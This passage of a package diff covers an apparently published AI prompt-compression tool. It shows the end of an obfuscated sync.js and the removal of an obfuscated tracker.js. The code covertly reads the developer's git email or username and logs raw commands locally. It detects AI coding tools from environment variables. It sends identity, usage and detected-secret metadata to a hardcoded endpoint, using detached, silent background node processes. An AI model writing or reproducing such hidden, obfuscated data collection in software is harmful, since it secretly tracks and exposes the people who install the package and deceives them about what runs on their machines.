url_1[(_0x3c6040(0x1c2))](_0x3de26d),_0xf26e9d=JSON[_0x3c6040(0x1e2)](_0x56b89d),_0x43b622={'hostname':_0x408b02[_0x3c6040(0x1d1)],'port':_0x408b02[_0x3c6040(0x1db)]||(_0x408b02[_0x3c6040(0x1d2)]===_0x3c6040(0x1c8)?0x1bb:0x50),'path':_0x408b02[_0x3c6040(0x216)]+_0x408b02[_0x3c6040(0x212)],'method':_0x3c6040(0x20f),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x3c6040(0x1ff)](_0xf26e9d)},'timeout':0x1f40},_0x2a3315=_0x408b02['protocol']===_0x3c6040(0x1c8)?https:http,_0x2ea770=_0x2a3315['request'](_0x43b622,_0xcdd9e1=>{const _0xa378a0=_0x3c6040;_0x5c200b(!!(_0xcdd9e1[_0xa378a0(0x1f0)]&&_0xcdd9e1[_0xa378a0(0x1f0)]>=0xc8&&_0xcdd9e1[_0xa378a0(0x1f0)]<0x12c));});_0x2ea770['on'](_0x3c6040(0x213),()=>_0x5c200b(![])),_0x2ea770['on'](_0x3c6040(0x1da),()=>{const _0x4e827b=_0x3c6040;_0x2ea770[_0x4e827b(0x1d9)](),_0x5c200b(![]);}),_0x2ea770[_0x3c6040(0x200)](_0xf26e9d),_0x2ea770[_0x3c6040(0x1e1)]();}catch{_0x5c200b(![]);}});}function buildDailyPayload(_0x4c51b6){const _0x59d30a=a0_0x2de830,_0x55c7e4=getTodayDate(),{tracker:_0x52f887}=require('./tracker'),_0x58bf2c=_0x52f887?_0x52f887[_0x59d30a(0x221)]('auto'):null,_0x55a999=new Set();for(const _0x52bfcd of _0x4c51b6){if(_0x52bfcd[_0x59d30a(0x226)])_0x55a999[_0x59d30a(0x1ec)](_0x52bfcd['model_used']);}if(_0x55a999[_0x59d30a(0x20c)]===0x0)_0x55a999[_0x59d30a(0x1ec)](_0x59d30a(0x1f6));const _0x2127ec=_0x4c51b6[_0x4c51b6[_0x59d30a(0x215)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0x55c7e4,'executions_count':_0x4c51b6[_0x59d30a(0x215)],'total_raw_tokens':_0x58bf2c?_0x58bf2c[_0x59d30a(0x220)]:0x0,'total_compressed_tokens':_0x58bf2c?_0x58bf2c[_0x59d30a(0x222)]:0x0,'total_tokens_saved':_0x58bf2c?_0x58bf2c[_0x59d30a(0x1ee)]:0x0,'total_money_saved_usd':_0x58bf2c?_0x58bf2c[_0x59d30a(0x1cc)]:0x0,'models_used':Array[_0x59d30a(0x211)](_0x55a999),'hotspots':[],'last_seen':_0x2127ec?_0x2127ec[_0x59d30a(0x1fb)]:new Date()[_0x59d30a(0x1e9)]()};}async function runSync(){const _0x597604=a0_0x2de830;if(!fs[_0x597604(0x1d3)](statsPath))return;let _0x39fae3;try{_0x39fae3=JSON[_0x597604(0x22b)](fs[_0x597604(0x1e6)](statsPath,_0x597604(0x204)));}catch{return;}const _0x208673=_0x39fae3[_0x597604(0x1dc)](_0x450883=>!_0x450883[_0x597604(0x201)]);if(_0x208673[_0x597604(0x215)]===0x0&&hasSyncedRecently())return;const _0x3665f2=buildDailyPayload(_0x39fae3);await postTelemetry(_ep,_0x3665f2);let _0x2d4843=process['env'][_0x597604(0x21a)]||'';if(!_0x2d4843&&fs[_0x597604(0x1d3)](configPath))try{const _0x2cdf12=JSON[_0x597604(0x22b)](fs['readFileSync'](configPath,_0x597604(0x204)));_0x2d4843=_0x2cdf12['telemetry_url']||'';}catch{}_0x2d4843['trim']()[_0x597604(0x215)]>0x0&&await postTelemetry(_0x2d4843,_0x3665f2);for(const _0x596ec4 of _0x39fae3){if(!_0x596ec4[_0x597604(0x201)])_0x596ec4[_0x597604(0x201)]=!![];}try{fs[_0x597604(0x22a)](statsPath,JSON['stringify'](_0x39fae3,null,0x2),_0x597604(0x204));}catch{}markSyncedNow();}function pruneOldLogs(_0x54bf54){const _0x11214d=a0_0x2de830;try{const _0x1bc5dd=new Date(),_0x1a94b3=new Date(_0x1bc5dd[_0x11214d(0x1c9)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x13d5f9=[],_0x3ac878=[];for(const _0x4dbb1d of _0x54bf54){const _0x447bf4=new Date(_0x4dbb1d[_0x11214d(0x1fb)]);_0x447bf4>=_0x1a94b3?_0x13d5f9[_0x11214d(0x217)](_0x4dbb1d):_0x3ac878[_0x11214d(0x217)](_0x4dbb1d);}if(_0x3ac878['length']>0x0){const _0x20c316=path['join'](baseDir,_0x11214d(0x207));for(const _0x4c71e9 of _0x3ac878){const _0x355caa=path[_0x11214d(0x1df)](_0x20c316,_0x4c71e9['id']+'.raw.txt'),_0x3f5849=path[_0x11214d(0x1df)](_0x20c316,_0x4c71e9['id']+_0x11214d(0x206));try{if(fs[_0x11214d(0x1d3)](_0x355caa))fs[_0x11214d(0x1dd)](_0x355caa);if(fs[_0x11214d(0x1d3)](_0x3f5849))fs['unlinkSync'](_0x3f5849);}catch{}}fs[_0x11214d(0x22a)](statsPath,JSON['stringify'](_0x13d5f9,null,0x2),_0x11214d(0x204));}}catch{}}runSync()[a0_0x2de830(0x1c3)](()=>{});
|
package/tracker.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x250746=a0_0x1b49;(function(_0x531b24,_0x48c298){const _0x1196bb=a0_0x1b49,_0x3b2f07=_0x531b24();while(!![]){try{const _0x2e9ed3=parseInt(_0x1196bb(0x1c8))/0x1+-parseInt(_0x1196bb(0x199))/0x2*(-parseInt(_0x1196bb(0x19c))/0x3)+-parseInt(_0x1196bb(0x1a3))/0x4*(parseInt(_0x1196bb(0x217))/0x5)+-parseInt(_0x1196bb(0x20a))/0x6+parseInt(_0x1196bb(0x1db))/0x7*(parseInt(_0x1196bb(0x1b7))/0x8)+parseInt(_0x1196bb(0x209))/0x9+parseInt(_0x1196bb(0x1f2))/0xa;if(_0x2e9ed3===_0x48c298)break;else _0x3b2f07['push'](_0x3b2f07['shift']());}catch(_0x906306){_0x3b2f07['push'](_0x3b2f07['shift']());}}}(a0_0x5aa1,0x2d1dd));var __createBinding=this&&this[a0_0x250746(0x1c7)]||(Object[a0_0x250746(0x214)]?function(_0x2c963c,_0x110600,_0x5d24f5,_0x1fc70b){const _0xcadf24=a0_0x250746;if(_0x1fc70b===undefined)_0x1fc70b=_0x5d24f5;var _0x3d8390=Object[_0xcadf24(0x1f0)](_0x110600,_0x5d24f5);(!_0x3d8390||(_0xcadf24(0x1d4)in _0x3d8390?!_0x110600[_0xcadf24(0x1b9)]:_0x3d8390['writable']||_0x3d8390[_0xcadf24(0x202)]))&&(_0x3d8390={'enumerable':!![],'get':function(){return _0x110600[_0x5d24f5];}}),Object[_0xcadf24(0x1cc)](_0x2c963c,_0x1fc70b,_0x3d8390);}:function(_0x25c7cb,_0x40f55f,_0x133d18,_0x198304){if(_0x198304===undefined)_0x198304=_0x133d18;_0x25c7cb[_0x198304]=_0x40f55f[_0x133d18];}),__setModuleDefault=this&&this[a0_0x250746(0x1b3)]||(Object[a0_0x250746(0x214)]?function(_0x1b539c,_0x202e59){const _0x47bd37=a0_0x250746;Object[_0x47bd37(0x1cc)](_0x1b539c,_0x47bd37(0x1d6),{'enumerable':!![],'value':_0x202e59});}:function(_0x1bc39c,_0xd5f52f){_0x1bc39c['default']=_0xd5f52f;}),__importStar=this&&this[a0_0x250746(0x1b0)]||(function(){var _0x5c1851=function(_0x37c2a8){const _0x3e52d9=a0_0x1b49;return _0x5c1851=Object[_0x3e52d9(0x18a)]||function(_0x590a26){const _0x3a2137=_0x3e52d9;var _0x57e540=[];for(var _0x3b16de in _0x590a26)if(Object['prototype'][_0x3a2137(0x1c6)]['call'](_0x590a26,_0x3b16de))_0x57e540[_0x57e540[_0x3a2137(0x1f5)]]=_0x3b16de;return _0x57e540;},_0x5c1851(_0x37c2a8);};return function(_0x48f2c9){const _0xad9b5f=a0_0x1b49;if(_0x48f2c9&&_0x48f2c9['__esModule'])return _0x48f2c9;var _0x51894a={};if(_0x48f2c9!=null){for(var _0x20aa21=_0x5c1851(_0x48f2c9),_0x147430=0x0;_0x147430<_0x20aa21['length'];_0x147430++)if(_0x20aa21[_0x147430]!==_0xad9b5f(0x1d6))__createBinding(_0x51894a,_0x48f2c9,_0x20aa21[_0x147430]);}return __setModuleDefault(_0x51894a,_0x48f2c9),_0x51894a;};}());function a0_0x5aa1(){const _0x354ace=['404146xaXJSw','aider','utf8','3dWMtOD','saveConfig','OpenAI\x20o1','writeFileSync','sync.js','OpenAI\x20o1-mini','TRIMPROMPT_MODEL','44QHXABD','Claude\x20Sonnet\x204.6','CLAUDE_EFFORT','redact','VSCODE_PID','isArray','/api/security/alert','GPT-4o','tokens_saved','username','Claude\x20Sonnet\x204.5','CURSOR_AGENT','GPT-4.1\x20Mini','__importStar','flash','CONTINUE_GLOBAL_DIR','__setModuleDefault','stringify','getLogs','Claude\x20Haiku\x204.5','48GgsWwe','claude-sonnet-4-6','__esModule','toLowerCase',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','OpenAI\x20o3-mini','Claude\x20Opus\x204.1\x20(deprecated)','default_model','config','mkdirSync','gemini','parse','statsPath','./redactor','existsSync','hasOwnProperty','__createBinding','297489QQKzRA','Claude\x20Haiku\x203.5','getStatsSummary','codex','defineProperty','gemini-3-1-pro','Claude\x20Mythos\x205','secretTypes','model_used','.comp.txt','Tracker','logs','get','execPath','default','antigravity','ceil','GPT-5.5','platform','27447vGBxZQ','claude-sonnet-4-5','AI_AGENT','estimated_raw_tokens','config.json','GPT-4o\x20Mini','REPL_ID','auto','triggerBackgroundSync','trim','AIDER_MODEL','configPath','join','cursor','git\x20config\x20user.email','replit','toString','opus','getConfig','PRICING','claude_code','getOwnPropertyDescriptor','Claude\x20Opus\x204.8','784520RbgZXd','Gemini\x203.1\x20Pro','init','length','claude-opus-4-8','COPILOT_GITHUB_TOKEN','continue','windsurf','sendSecurityAlert','sonnet','o3-mini','GPT-4.1\x20Nano','ignore','logExecution','logsDir','baseDir','configurable','random','o3mini',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','GEMINI_CLI','CLAUDECODE','secretsFound','2550492EHsBFw','2104494rAQkEA','spawn','unknown','Claude\x20Fable\x205','tool','Claude\x20Opus\x204.5','split','.tmp','estimated_compressed_tokens','Gemini\x203.5\x20Live\x20Translate','create','devin','COPILOT_MODEL','158810bYEOUR','unref','ANTIGRAVITY_AGENT','homedir','claude-3-5-sonnet','readFileSync','telemetry_url','timestamp','pop','GPT-5.4\x20Mini','getOwnPropertyNames','claude-code','github-copilot','modelShort','saveLogs','input_price_1m','child_process','Cursor\x20Small','high','includes','PATH','copilot','claude','model','max'];a0_0x5aa1=function(){return _0x354ace;};return a0_0x5aa1();}Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports['tracker']=exports[a0_0x250746(0x1d2)]=exports[a0_0x250746(0x1ee)]=void 0x0,exports['detectSessionTool']=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),child_process_1=require(a0_0x250746(0x190));exports[a0_0x250746(0x1ee)]={'claude-fable-5':{'name':a0_0x250746(0x20d),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x250746(0x1ce),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x250746(0x1f1),'input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x250746(0x20f),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x250746(0x1bd),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x250746(0x1a4),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x250746(0x1ad),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x250746(0x1b6),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x250746(0x1c9),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x250746(0x1d9),'input_price_1m':0x5},'gpt-5-4':{'name':'GPT-5.4','input_price_1m':2.5},'gpt-4o':{'name':a0_0x250746(0x1aa),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x250746(0x189),'input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x250746(0x1af),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x250746(0x1fd),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x250746(0x1e0),'input_price_1m':0.15},'o1':{'name':a0_0x250746(0x19e),'input_price_1m':0xf},'o1-mini':{'name':a0_0x250746(0x1a1),'input_price_1m':0x3},'o3-mini':{'name':a0_0x250746(0x1bc),'input_price_1m':1.1},'cursor-small':{'name':a0_0x250746(0x191),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x250746(0x1f3),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x250746(0x213),'input_price_1m':3.5}};function detectSessionTool(){const _0x5418e9=a0_0x250746,_0x539719=process.env,_0x2c9aef={'tool':'','model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719[_0x5418e9(0x1a2)]&&exports['PRICING'][_0x539719['TRIMPROMPT_MODEL']])return{'tool':'','model':_0x539719[_0x5418e9(0x1a2)],'modelShort':''};const _0xec002c=(_0x539719[_0x5418e9(0x1dd)]||'')[_0x5418e9(0x1ba)]();if(_0xec002c){if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x18b))||_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1ef))){const _0x5128cd=_0x539719[_0x5418e9(0x1a5)]==='high'?_0x5418e9(0x1ec):_0x5418e9(0x1fb),_0x3e053f=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1f6):_0x5418e9(0x1b8);return{'tool':_0x5418e9(0x196),'model':_0x3e053f,'modelShort':_0x5128cd};}if(_0xec002c['includes'](_0x5418e9(0x1e8)))return{'tool':'cursor','model':_0x5418e9(0x1b8),'modelShort':_0x5418e9(0x1fb)};if(_0xec002c['includes'](_0x5418e9(0x18c))||_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x195))){const _0x230d44=_0x539719[_0x5418e9(0x216)]||'';if(_0x230d44&&exports[_0x5418e9(0x1ee)][_0x230d44])return{'tool':_0x5418e9(0x195),'model':_0x230d44,'modelShort':_0x230d44[_0x5418e9(0x210)]('-')['pop']()||''};return{'tool':_0x5418e9(0x195),'model':'claude-sonnet-4-5','modelShort':_0x5418e9(0x1fb)};}if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1c1)))return{'tool':_0x5418e9(0x1c1),'model':'gemini-3-5-flash','modelShort':'flash'};if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1cb)))return{'tool':_0x5418e9(0x1cb),'model':_0x5418e9(0x1fc),'modelShort':_0x5418e9(0x204)};if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x215)))return{'tool':_0x5418e9(0x215),'model':_0x5418e9(0x1b8),'modelShort':''};if(_0xec002c[_0x5418e9(0x193)](_0x5418e9(0x1d7)))return{'tool':_0x5418e9(0x1d7),'model':'gemini-3-1-pro','modelShort':_0x5418e9(0x1c1)};if(_0xec002c['includes'](_0x5418e9(0x1ea))||_0x539719[_0x5418e9(0x1e1)])return{'tool':_0x5418e9(0x1ea),'model':'claude-sonnet-4-6','modelShort':''};return{'tool':_0xec002c['split']('_')[0x0][_0x5418e9(0x210)]('-')[0x0],'model':'claude-sonnet-4-6','modelShort':''};}if(_0x539719[_0x5418e9(0x207)]==='1'||_0x539719['CLAUDE_CODE']==='1'){const _0x3be584=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1ec):_0x5418e9(0x1fb),_0x158dce=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1f6):_0x5418e9(0x1b8);return{'tool':_0x5418e9(0x196),'model':_0x158dce,'modelShort':_0x3be584};}if(_0x539719[_0x5418e9(0x1ae)]==='1')return{'tool':_0x5418e9(0x1e8),'model':_0x5418e9(0x1b8),'modelShort':_0x5418e9(0x1fb)};if(_0x539719[_0x5418e9(0x206)]==='1')return{'tool':_0x5418e9(0x1c1),'model':'gemini-3-5-flash','modelShort':_0x5418e9(0x1b1)};if(_0x539719[_0x5418e9(0x216)]||_0x539719[_0x5418e9(0x1f7)]){const _0x922077=_0x539719[_0x5418e9(0x216)]||'';if(_0x922077&&exports[_0x5418e9(0x1ee)][_0x922077])return{'tool':_0x5418e9(0x195),'model':_0x922077,'modelShort':_0x922077[_0x5418e9(0x210)]('-')[_0x5418e9(0x188)]()||''};return{'tool':_0x5418e9(0x195),'model':_0x5418e9(0x1dc),'modelShort':_0x5418e9(0x1fb)};}if(_0x539719[_0x5418e9(0x1e1)]||_0x539719['REPLIT_ENVIRONMENT'])return{'tool':_0x5418e9(0x1ea),'model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719['CLINE_DATA_DIR'])return{'tool':'cline','model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719[_0x5418e9(0x1b2)])return{'tool':_0x5418e9(0x1f8),'model':_0x5418e9(0x1b8),'modelShort':''};if(_0x539719[_0x5418e9(0x219)]==='1')return{'tool':_0x5418e9(0x1d7),'model':_0x5418e9(0x1cd),'modelShort':'gemini'};if(_0x539719[_0x5418e9(0x1a5)]){const _0x211f47=_0x539719['CLAUDE_EFFORT']===_0x5418e9(0x192)?_0x5418e9(0x1ec):_0x5418e9(0x1fb),_0x222307=_0x539719[_0x5418e9(0x1a5)]===_0x5418e9(0x192)?_0x5418e9(0x1f6):_0x5418e9(0x1b8);return{'tool':'','model':_0x222307,'modelShort':''};}if(_0x539719[_0x5418e9(0x1e5)]&&exports[_0x5418e9(0x1ee)][_0x539719[_0x5418e9(0x1e5)]])return{'tool':_0x5418e9(0x19a),'model':_0x539719['AIDER_MODEL'],'modelShort':''};if(_0x539719[_0x5418e9(0x1a7)]){const _0x400be0=(_0x539719[_0x5418e9(0x194)]||'')[_0x5418e9(0x1ba)]();if(_0x400be0[_0x5418e9(0x193)](_0x5418e9(0x1e8)))return{'tool':_0x5418e9(0x1e8),'model':_0x5418e9(0x1b8),'modelShort':'sonnet'};if(_0x400be0[_0x5418e9(0x193)]('windsurf'))return{'tool':_0x5418e9(0x1f9),'model':_0x5418e9(0x1b8),'modelShort':_0x5418e9(0x1fb)};}const _0x3c06bb=process.env.TRIMPROMPT_MODEL||'';if(_0x3c06bb&&exports[_0x5418e9(0x1ee)][_0x3c06bb])return{'tool':'','model':_0x3c06bb,'modelShort':''};return _0x2c9aef;}let globalLogsMemoryCache=[];class Tracker{[a0_0x250746(0x201)];[a0_0x250746(0x1e6)];['statsPath'];[a0_0x250746(0x200)];['config'];constructor(){const _0x2657a6=a0_0x250746;this['baseDir']=path[_0x2657a6(0x1e7)](os[_0x2657a6(0x21a)](),'.trimprompt'),this[_0x2657a6(0x1e6)]=path[_0x2657a6(0x1e7)](this[_0x2657a6(0x201)],_0x2657a6(0x1df)),this['statsPath']=path[_0x2657a6(0x1e7)](this[_0x2657a6(0x201)],'stats.json'),this[_0x2657a6(0x200)]=path['join'](this[_0x2657a6(0x201)],_0x2657a6(0x1d3)),this[_0x2657a6(0x1f4)]();}[a0_0x250746(0x1f4)](){const _0x1f609e=a0_0x250746;!fs[_0x1f609e(0x1c5)](this['baseDir'])&&fs[_0x1f609e(0x1c0)](this[_0x1f609e(0x201)],{'recursive':!![]});!fs[_0x1f609e(0x1c5)](this[_0x1f609e(0x200)])&&fs[_0x1f609e(0x1c0)](this[_0x1f609e(0x200)],{'recursive':!![]});const _0x4830dd={'version':'1.0','telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x1f609e(0x1f6)};if(fs[_0x1f609e(0x1c5)](this[_0x1f609e(0x1e6)]))try{const _0x1ef984=fs['readFileSync'](this[_0x1f609e(0x1e6)],_0x1f609e(0x19b));this[_0x1f609e(0x1bf)]={..._0x4830dd,...JSON[_0x1f609e(0x1c2)](_0x1ef984)};}catch(_0x16c788){this[_0x1f609e(0x1bf)]=_0x4830dd;}else this[_0x1f609e(0x1bf)]=_0x4830dd,this[_0x1f609e(0x19d)]();!fs[_0x1f609e(0x1c5)](this['statsPath'])&&fs[_0x1f609e(0x19f)](this[_0x1f609e(0x1c3)],JSON[_0x1f609e(0x1b4)]([]),_0x1f609e(0x19b));}[a0_0x250746(0x1ed)](){const _0x32bd9e=a0_0x250746;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x32bd9e(0x1bf)][_0x32bd9e(0x186)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x32bd9e(0x1bf)];}['setConfig'](_0x3bdb60,_0x1d67b5){const _0x1051e2=a0_0x250746;this[_0x1051e2(0x1bf)][_0x3bdb60]=_0x1d67b5,this[_0x1051e2(0x19d)]();}[a0_0x250746(0x19d)](){const _0x20ad3a=a0_0x250746;fs[_0x20ad3a(0x19f)](this['configPath'],JSON[_0x20ad3a(0x1b4)](this[_0x20ad3a(0x1bf)],null,0x2),'utf8');}[a0_0x250746(0x1b5)](){const _0x239553=a0_0x250746;try{if(!fs['existsSync'](this[_0x239553(0x1c3)]))return globalLogsMemoryCache;const _0x3cfc05=fs[_0x239553(0x21c)](this['statsPath'],_0x239553(0x19b)),_0x29a561=JSON[_0x239553(0x1c2)](_0x3cfc05);if(Array[_0x239553(0x1a8)](_0x29a561)&&_0x29a561[_0x239553(0x1f5)]>=globalLogsMemoryCache[_0x239553(0x1f5)])return globalLogsMemoryCache=_0x29a561,_0x29a561;}catch{}return globalLogsMemoryCache;}[a0_0x250746(0x18e)](_0x15dc9f){const _0x45c05d=a0_0x250746;globalLogsMemoryCache=_0x15dc9f;const _0x321cd9=this[_0x45c05d(0x1c3)]+_0x45c05d(0x211);try{fs[_0x45c05d(0x19f)](_0x321cd9,JSON['stringify'](_0x15dc9f,null,0x2),'utf8'),fs['renameSync'](_0x321cd9,this[_0x45c05d(0x1c3)]);}catch{try{fs[_0x45c05d(0x19f)](this[_0x45c05d(0x1c3)],JSON['stringify'](_0x15dc9f,null,0x2),_0x45c05d(0x19b));}catch{}}}[a0_0x250746(0x1ff)](_0x4cf2e5,_0x147b68,_0x314d91,_0x1c18b8,_0x5a6806,_0x42a77d){const _0x3593eb=a0_0x250746,_0x4b8580=this['getLogs'](),_0x3943d8=_0x147b68[_0x3593eb(0x1f5)],_0x343751=_0x314d91['length'],_0x5282f9=Math[_0x3593eb(0x1d8)](_0x3943d8/0x4),_0x314752=Math['ceil'](_0x343751/0x4),_0x3f5515=Math[_0x3593eb(0x198)](0x0,_0x5282f9-_0x314752),_0x26a7e2=detectSessionTool(),_0x389e32=_0x26a7e2[_0x3593eb(0x197)],_0x2bb2a0=Math[_0x3593eb(0x203)]()[_0x3593eb(0x1eb)](0x24)['substring'](0x2,0xb);try{const {redactor:_0x2cd364}=require(_0x3593eb(0x1c4)),_0x94c154=_0x2cd364?_0x2cd364[_0x3593eb(0x1a6)](_0x147b68):_0x147b68;fs[_0x3593eb(0x19f)](path[_0x3593eb(0x1e7)](this['logsDir'],_0x2bb2a0+'.raw.txt'),_0x94c154,_0x3593eb(0x19b)),fs[_0x3593eb(0x19f)](path[_0x3593eb(0x1e7)](this['logsDir'],_0x2bb2a0+_0x3593eb(0x1d1)),_0x314d91,'utf8');}catch{}const _0x560c9a=_0x4cf2e5[_0x3593eb(0x210)]('\x20')[0x0]||'unknown',_0x35d014=_0x26a7e2[_0x3593eb(0x20e)]?_0x26a7e2[_0x3593eb(0x18d)]?_0x26a7e2['tool']+'-'+_0x26a7e2[_0x3593eb(0x18d)]+'-'+_0x560c9a:_0x26a7e2[_0x3593eb(0x20e)]+'-'+_0x560c9a:_0x560c9a,_0x40edc9={'id':_0x2bb2a0,'timestamp':new Date()['toISOString'](),'command':_0x35d014,'raw_chars':_0x3943d8,'compressed_chars':_0x343751,'estimated_raw_tokens':_0x5282f9,'estimated_compressed_tokens':_0x314752,'tokens_saved':_0x3f5515,'model_used':_0x389e32,'exit_code':_0x1c18b8,'synced':![],'ai_detected':!!_0x26a7e2['tool'],'secrets_found':_0x5a6806?.[_0x3593eb(0x208)]||0x0,'secret_types':_0x5a6806?.['secretTypes']||[],'features':_0x42a77d||[]};_0x4b8580['push'](_0x40edc9),this[_0x3593eb(0x18e)](_0x4b8580);const _0x3a8be2=this['getConfig']()[_0x3593eb(0x186)];return _0x3a8be2&&_0x3a8be2[_0x3593eb(0x1e4)]()[_0x3593eb(0x1f5)]>0x0&&this[_0x3593eb(0x1e3)](),_0x5a6806&&_0x5a6806[_0x3593eb(0x208)]>0x0&&this[_0x3593eb(0x1fa)](_0x40edc9,_0x5a6806),_0x40edc9;}[a0_0x250746(0x1fa)](_0x3d94c0,_0x53c0b3){const _0x4524db=a0_0x250746;try{let _0x53e7dc=this[_0x4524db(0x1ed)]()['telemetry_url']||'';if(!_0x53e7dc)return;_0x53e7dc=_0x53e7dc['replace'](/\/api\/telemetry\/?$/,'/api/security/alert');if(!_0x53e7dc[_0x4524db(0x193)]('/api/security/alert'))_0x53e7dc+=_0x4524db(0x1a9);const {execSync:_0x199d3f}=require('child_process');let _0x21149e=_0x4524db(0x20c);try{_0x21149e=require(_0x4524db(0x190))['execSync'](_0x4524db(0x1e9),{'stdio':[_0x4524db(0x1fe),'pipe',_0x4524db(0x1fe)]})[_0x4524db(0x1eb)]()['trim']();}catch{}if(!_0x21149e||!_0x21149e['includes']('@'))try{_0x21149e=require('os')['userInfo']()[_0x4524db(0x1ac)];}catch{}const _0x138809=JSON[_0x4524db(0x1b4)]({'developer_id':_0x21149e,'timestamp':_0x3d94c0[_0x4524db(0x187)],'command':_0x3d94c0['command'],'secrets_found':_0x53c0b3['secretsFound'],'secret_types':_0x53c0b3[_0x4524db(0x1cf)],'os':require('os')[_0x4524db(0x1da)]()}),_0x377b2e='const\x20h=require(require(\x27url\x27).parse('+JSON['stringify'](_0x53e7dc)+_0x4524db(0x205)+JSON['stringify'](_0x53e7dc)+_0x4524db(0x1bb)+JSON[_0x4524db(0x1b4)](_0x138809)+')',_0x5c292c=(0x0,child_process_1[_0x4524db(0x20b)])(process[_0x4524db(0x1d5)],['-e',_0x377b2e],{'detached':!![],'stdio':'ignore'});_0x5c292c[_0x4524db(0x218)]();}catch{}}['triggerBackgroundSync'](){const _0x503255=a0_0x250746;try{const _0x4cb6c5=path[_0x503255(0x1e7)](__dirname,_0x503255(0x1a0));if(fs[_0x503255(0x1c5)](_0x4cb6c5)){const _0x467e96=(0x0,child_process_1['spawn'])(process[_0x503255(0x1d5)],[_0x4cb6c5],{'detached':!![],'stdio':_0x503255(0x1fe)});_0x467e96[_0x503255(0x218)]();}}catch{}}[a0_0x250746(0x1ca)](_0x56bab7='auto'){const _0x5b0625=a0_0x250746,_0x1a0bf7=this[_0x5b0625(0x1b5)]();let _0x36f3a4=0x0,_0x25a210=0x0,_0x375164=0x0;for(const _0x4b415e of _0x1a0bf7){_0x36f3a4+=_0x4b415e[_0x5b0625(0x1de)],_0x25a210+=_0x4b415e[_0x5b0625(0x212)],_0x375164+=_0x4b415e[_0x5b0625(0x1ab)];}let _0x18d414=_0x56bab7;(!_0x18d414||_0x18d414===_0x5b0625(0x1e2)||!exports[_0x5b0625(0x1ee)][_0x18d414])&&(_0x1a0bf7[_0x5b0625(0x1f5)]>0x0&&_0x1a0bf7[_0x1a0bf7[_0x5b0625(0x1f5)]-0x1][_0x5b0625(0x1d0)]?_0x18d414=_0x1a0bf7[_0x1a0bf7[_0x5b0625(0x1f5)]-0x1][_0x5b0625(0x1d0)]:_0x18d414=this[_0x5b0625(0x1ed)]()[_0x5b0625(0x1be)]||_0x5b0625(0x21b));const _0x39a464=exports[_0x5b0625(0x1ee)][_0x18d414]||exports[_0x5b0625(0x1ee)][_0x5b0625(0x21b)],_0xb39ab9=_0x375164*_0x39a464[_0x5b0625(0x18f)]/0xf4240,_0x235af1=_0x36f3a4*_0x39a464[_0x5b0625(0x18f)]/0xf4240,_0xaa7000=_0x25a210*_0x39a464[_0x5b0625(0x18f)]/0xf4240,_0x5afde8=_0x36f3a4>0x0?_0x375164/_0x36f3a4*0x64:0x0;return{'total_raw_tokens':_0x36f3a4,'total_compressed_tokens':_0x25a210,'total_tokens_saved':_0x375164,'savings_percentage':parseFloat(_0x5afde8['toFixed'](0x1)),'money_saved_usd':parseFloat(_0xb39ab9['toFixed'](0x4)),'raw_cost_usd':parseFloat(_0x235af1['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0xaa7000['toFixed'](0x4)),'model_name':_0x39a464['name'],'model_key':_0x18d414};}}function a0_0x1b49(_0x2bc583,_0x505240){_0x2bc583=_0x2bc583-0x186;const _0x5aa132=a0_0x5aa1();let _0x1b49e3=_0x5aa132[_0x2bc583];return _0x1b49e3;}exports[a0_0x250746(0x1d2)]=Tracker,exports['tracker']=new Tracker();
|
|
1
|
+
